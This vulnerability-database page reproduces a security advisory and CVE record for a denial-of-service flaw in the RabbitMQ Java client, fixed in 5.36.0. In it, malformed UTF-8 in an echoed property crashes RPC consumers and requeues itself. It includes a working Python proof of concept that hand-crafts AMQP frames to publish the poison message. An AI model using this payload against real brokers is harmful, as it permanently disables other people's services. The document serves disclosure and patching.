Vulnerability-Lookup

GHSA-7822-RCF6-97FX

Vulnerability from github – Published: 2026-10-07 20:25 – Updated: 2026-10-07 20:25

Summary

RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

Details

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF_8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

RpcServer.mainloop() catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129
The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

Start a broker:

docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq

Publish a message whose correlation-id is 255 × 0xFF:

import socket, struct

def sstr(b):
    if isinstance(b, str): b = b.encode()
    return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)

def rf():
    h = b""
    while len(h) < 7: h += s.recv(7 - len(h))
    t, ch, sz = struct.unpack(">BHI", h)
    p = b""
    while len(p) < sz: p += s.recv(sz - len(p))
    s.recv(1); return t, ch, p
def wait(c, mi):
    while True:
        t, ch, p = rf()
        if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
    + lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8])   # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
    + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue")   # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))

# close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)

Run a consumer using the tutorial pattern against rpc.poison:

DeliverCallback cb = (tag, delivery) -> {
    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()
        .correlationId(delivery.getProperties().getCorrelationId()).build();
    channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8"));
    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);
};
channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.
  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)
  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)
channel open after: false
queue depth after: 1

The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

Impact

Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.

Severity

6.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.35.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.rabbitmq:amqp-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.36.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-172",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:25:29Z",
    "nvd_published_at": "2026-10-06T19:17:43Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.\n\nThe client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.\n\nThe message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.\n\nIn short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.\n\n### Details\n\n`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75\n\n`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:\n\nhttps://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56\n\nSo a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.\n\nTwo consumption paths are impacted:\n\n1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:\n   https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129\n\n2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.\n\nIn both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.\n\nA related instance exists in the library\u0027s own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.\n\n### PoC\n\nNeither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.**\n\n1. Start a broker:\n\n```bash\ndocker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq\n```\n\n2. Publish a message whose `correlation-id` is 255 \u00d7 `0xFF`:\n```python\nimport socket, struct\n\ndef sstr(b):\n    if isinstance(b, str): b = b.encode()\n    return struct.pack(\"\u003eB\", len(b)) + b\ndef lstr(b): return struct.pack(\"\u003eI\", len(b)) + b\ndef fr(t, ch, p): return struct.pack(\"\u003eBHI\", t, ch, len(p)) + p + b\"\\xce\"\ndef m(c, mi, a=b\"\"): return struct.pack(\"\u003eHH\", c, mi) + a\n\nQUEUE = \"rpc.poison\"\ns = socket.create_connection((\"127.0.0.1\", 5672), timeout=10)\n\ndef rf():\n    h = b\"\"\n    while len(h) \u003c 7: h += s.recv(7 - len(h))\n    t, ch, sz = struct.unpack(\"\u003eBHI\", h)\n    p = b\"\"\n    while len(p) \u003c sz: p += s.recv(sz - len(p))\n    s.recv(1); return t, ch, p\ndef wait(c, mi):\n    while True:\n        t, ch, p = rf()\n        if t == 1 and struct.unpack(\"\u003eHH\", p[:4]) == (c, mi): return p[4:]\n\ns.sendall(b\"AMQP\\x00\\x00\\x09\\x01\"); wait(10, 10)\ns.sendall(fr(1, 0, m(10, 11, struct.pack(\"\u003eI\", 0) + sstr(\"PLAIN\")\n    + lstr(b\"\\x00guest\\x00guest\") + sstr(\"en_US\"))))\ncm, fm, _ = struct.unpack(\"\u003eHIH\", wait(10, 30)[:8])   # must echo broker\u0027s limits\ns.sendall(fr(1, 0, m(10, 31, struct.pack(\"\u003eH\", cm) + struct.pack(\"\u003eI\", fm) + struct.pack(\"\u003eH\", 0))))\ns.sendall(fr(1, 0, m(10, 40, sstr(\"/\") + sstr(\"\") + b\"\\x00\"))); wait(10, 41)\ns.sendall(fr(1, 1, m(20, 10, sstr(\"\")))); wait(20, 11)\ns.sendall(fr(1, 1, m(50, 10, struct.pack(\"\u003eH\", 0) + sstr(QUEUE) + b\"\\x02\"\n    + struct.pack(\"\u003eI\", 0)))); wait(50, 11)\n\ns.sendall(fr(1, 1, m(60, 40, struct.pack(\"\u003eH\", 0) + sstr(\"\") + sstr(QUEUE) + b\"\\x00\")))\nprops = sstr(b\"\\xff\" * 255) + sstr(\"some-reply-queue\")   # correlation-id = bit 10, reply-to = bit 9\ns.sendall(fr(2, 1, struct.pack(\"\u003eHHQ\", 60, 0, 6) + struct.pack(\"\u003eH\", (1 \u003c\u003c 10) | (1 \u003c\u003c 9)) + props))\ns.sendall(fr(3, 1, b\"poison\"))\n\n# close cleanly, otherwise the broker may not commit the publish\ns.sendall(fr(1, 0, m(10, 50, struct.pack(\"\u003eH\", 200) + sstr(\"done\") + struct.pack(\"\u003eHH\", 0, 0))))\nwait(10, 51); s.close()\nprint(\"published to\", QUEUE)\n```\n\n3. Run a consumer using the tutorial pattern against `rpc.poison`:\n\n```java\nDeliverCallback cb = (tag, delivery) -\u003e {\n    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()\n        .correlationId(delivery.getProperties().getCorrelationId()).build();\n    channel.basicPublish(\"\", delivery.getProperties().getReplyTo(), reply, \"pong\".getBytes(\"UTF-8\"));\n    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);\n};\nchannel.basicConsume(\"rpc.poison\", false, cb, t -\u003e {});\n```\n\nObserved:\n\n```bash\njava.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.\n  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)\n  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)\nchannel open after: false\nqueue depth after: 1\n```\n\nThe same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart.\n\n**Control:** 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.\n\n**Negative results, for completeness:** automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.\n\n### Impact\nDenial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.",
  "id": "GHSA-7822-rcf6-97fx",
  "modified": "2026-10-07T20:25:29Z",
  "published": "2026-10-07T20:25:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106122"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers"
}

CVE-2026-106122 (GCVE-0-2026-106122)

Vulnerability from cvelistv5 – Published: 2026-10-06 18:10 – Updated: 2026-10-06 18:23

Title

RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

Summary

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.36.0, ValueReader.readShortstr decodes malformed UTF-8 bytes into replacement characters that can re-encode beyond the AMQP shortstr limit enforced by ValueWriter.writeShortstr. An attacker who can submit an RPC message with a malformed echoed property can cause reply publication in RpcServer.mainloop() or tutorial-style consumers to throw an unchecked exception before acknowledgement. The broker requeues the message, allowing the same message to disable replacement consumers until the queue is purged. This issue is fixed in version 5.36.0.

Severity

6 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-06 18:23 UTC

CWE

CWE-172 - Encoding Error
CWE-248 - Uncaught Exception

Assigner

GitHub_M mitre root Scorecard

References

4 references

URL	Tags
https://github.com/rabbitmq/rabbitmq-java-client/…	x_refsource_CONFIRM
https://github.com/rabbitmq/rabbitmq-java-client/…	x_refsource_MISC
https://github.com/rabbitmq/rabbitmq-java-client/…	x_refsource_MISC
https://github.com/rabbitmq/rabbitmq-java-client/…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
rabbitmq	rabbitmq-java-client	Affected: < 5.36.0
com.rabbitmq	amqp-client	Affected: < 5.36.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-106122",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-06T18:23:11.530141Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-06T18:23:24.929Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "rabbitmq-java-client",
          "vendor": "rabbitmq",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.36.0"
            }
          ]
        },
        {
          "product": "amqp-client",
          "vendor": "com.rabbitmq",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.36.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.36.0, ValueReader.readShortstr decodes malformed UTF-8 bytes into replacement characters that can re-encode beyond the AMQP shortstr limit enforced by ValueWriter.writeShortstr. An attacker who can submit an RPC message with a malformed echoed property can cause reply publication in RpcServer.mainloop() or tutorial-style consumers to throw an unchecked exception before acknowledgement. The broker requeues the message, allowing the same message to disable replacement consumers until the queue is purged. This issue is fixed in version 5.36.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-172",
              "description": "CWE-172: Encoding Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-248",
              "description": "CWE-248: Uncaught Exception",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-06T18:10:18.748Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx"
        },
        {
          "name": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2065",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rabbitmq/rabbitmq-java-client/pull/2065"
        },
        {
          "name": "https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020"
        },
        {
          "name": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0"
        }
      ],
      "source": {
        "advisory": "GHSA-7822-rcf6-97fx",
        "discovery": "UNKNOWN"
      },
      "title": "RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-106122",
    "datePublished": "2026-10-06T18:10:18.748Z",
    "dateReserved": "2026-10-06T15:33:55.334Z",
    "dateUpdated": "2026-10-06T18:23:24.929Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-7822-RCF6-97FX

Summary

Details

PoC

Impact

CVE-2026-106122 (GCVE-0-2026-106122)

Tags

Sightings

Nomenclature

Related by attack behaviour